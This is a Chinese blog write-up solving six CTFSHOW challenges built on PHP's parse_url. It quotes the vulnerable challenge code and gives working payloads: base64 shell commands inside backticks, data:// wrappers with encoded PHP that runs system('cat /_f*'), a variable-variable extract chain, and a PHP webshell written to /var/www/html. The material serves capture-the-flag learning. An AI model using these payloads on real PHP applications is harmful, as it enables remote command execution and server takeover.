首页 > 其他分享 >CTFSHOW PARSE_URL

CTFSHOW PARSE_URL

时间:2023-06-10 17:35:00浏览次数:35  
标签:parse URL base64 PARSE url host CTFSHOW scheme

第一关

parse_url(string $url, int $component = -1): int|string|array|null|false

本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。

本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);
http://system('id');/suning?v=1&k=2#id
可命令执行但是有了斜杠就会跑到下一行去需要进行绕过
引入一个概念base64可以在Linux使用翻引号执行命令恰好pares 不会进行转义
`echo bHMgLw==  | base64 -d` (ls /)

http://system(`echo bHMgLw==  | base64 -d`);/suning?v=1&k=2#id

最终payload:
http://system(`echo Y2F0IC9mbGFnX2lzX2hlcmUudHh0  | base64 -d`);/suning?v=1&k=2#id

第二关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

程序会去文件包含host path 也就是需要构造文件路径具体需要使用到php伪协议

<?php
$url = "http://data:://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>
//浏览器无法识别+号所以使用%2b

image-20230605144301479

能够执行php代码用户可控可以造成任意任意命令执行

http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw== 

第三关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

和第二关一样调换了一下调用路径

$url = "data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw== "

第四关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: [email protected]
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

image-20230606101302063

使用反引号可以规避出现斜杠转义

<?php
$url = "http://`echo bHMgLwo=  | base64 -d`";  //ls 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>

第五关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: [email protected]
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
#$a = Cat; $b = Dog; $c = Horse

本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。

这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。

GET传参
?u=user://pass:fragment@scheme/?data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw==%23query
注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php phpinfo();?>

这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=data://text/plain;base64

第六关

题目代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: [email protected]
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法
file_put_contents(file,data,mode,context)
<?php
$url = "https://<?php phpinfo();?>/var/www/html/1.php"; 
// $a = extract(parse_url($url));
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>
//直接写入<? ?> pares_url 会进行转义因此转换一个思路进行写入把php文件写入js标签里面
//$url = "https://<script language='php'>phpinfo();/var/www/html/1.php";
    

访问执行命令即可

标签:parse,URL,base64,PARSE,url,host,CTFSHOW,scheme
From: https://www.cnblogs.com/TTaly/p/17471611.html

相关文章

  • 取公共的APIURL​
    取公共的APIURL​项目新增common目录,里面有个common.js constcommon={getapiurl(){ varapiurl=uni.getStorageSync("apiurl"); if(apiurl==undefined||apiurl==''){ apiurl="http://product.niunan.net"; uni.setStorageSync......
  • driverClassName、url
    MySQL的链接中间件mysql-connector-java.jar的版本不同,链接驱动类名也有所不同,具体如下:driverClassName:com.mysql.jdbc.Driver#是mysql-connector-java5中的driverClassName:com.mysql.cj.jdbc.Driver#是mysql-connector-java6及之后的更高版本中的url:jdbc:mys......
  • 解析url
    //parseurl解析urlcc++代码rfc2068#include<stdio.h>#include<string.h>#include<stdlib.h>//解析url,作为示例,很多情况没考虑,比如说user,pass之类的intparse_url(char*url,char**serverstrp,int*portp,char**pathstrp){charbuf[256];......
  • binlog_parse_clickhouse.py(ETL抽数据工具)将MySQL8.0迁移至ClickHouse
    binlog_parse_clickhouse.py(ETL抽数据工具)将MySQL8.0迁移至ClickHouse原理:将解析binlog和执行SQL语句两个过程由两个线程来执行。其中,解析binlog的线程每次解析完一个事件后通过队列将SQL语句传给SQL执行线程,SQL执行线程从队列中取出SQL语句并按顺序依次执行,这样就保......
  • pandas.errors.ParserError: Error tokenizing data. C error: Expected 9 fields in
    用pandas读取csv格式文件时,里面有的行比前面的行多出好多列,会报下面的错df=pd.read_csv(file_name_csv,encoding="GBK")File"pandas\_libs\parsers.pyx",line905,inpandas._libs.parsers.TextReader._tokenize_rowsFile"pandas\_libs\parsers.pyx",line......
  • url中的jsessionid解释
    url中的jsessionid解释(1)这是一个保险措施因为Session默认是需要Cookie支持的但有些客户浏览器是关闭Cookie的这个时候就需要在URL中指定服务器上的session标识,也就是5F4771183629C9834F8382E23BE13C4C用一个方法(忘了方法的名字)处理URL串就可以得到这个东西这个方法......
  • Windows证书管理器 && SSL certification && WSL-Docker: curl: (60) SSL certificat
    深入浅出certmgr——Windows证书管理器https://www.fke6.com/html/91605.html计算机安全是当前社会的一个重要议题,证书是一种重要的安全机制,负责证明数据、软件或者人的身份和信誉。certmgr(即“证书管理器”)是Windows中专门用于证书管理的工具。本文将从多个方面对certmgr进行深......
  • spring中获取属性的方法SpelExpressionParser()
    Aa=newA();Bb=newB();声明el表达式ExpressionParserpaeser=newSpelExpressionParser();设置你要通过el表达式取的字段Expressionaid=paeser.parseExpression("id");代表内置对象(b)中的id属性Expressionbid=paeser.parseExpression(b.id);如果b对象......
  • 深入了解 HTTP 请求和响应、表单处理和验证、URL 路由和重定向、Web 服务和 API 开发,
    在Web开发中,了解HTTP请求和响应、表单处理和验证、URL路由和重定向、Web服务和API开发,以及PHP模板引擎和视图是非常重要的。本文将深入探讨这些概念,并提供相关的代码示例。1.HTTP请求和响应HTTP(超文本传输协议)是用于在客户端和服务器之间传输数据的协议。在Web开发中......
  • 报错 ImportError: urllib3 v2.0 only
     麻烦您到服务器命令行执行下面命令修复下btpipinstall-Irequests==2.27bt1  您好,该问题是requests模块库与OpenSSL模块问题导致的,您那边可到服务器命令行下使用下面命令尝试解决。修复requests模块命令:btpipinstallrequests-U  解决问题帖子......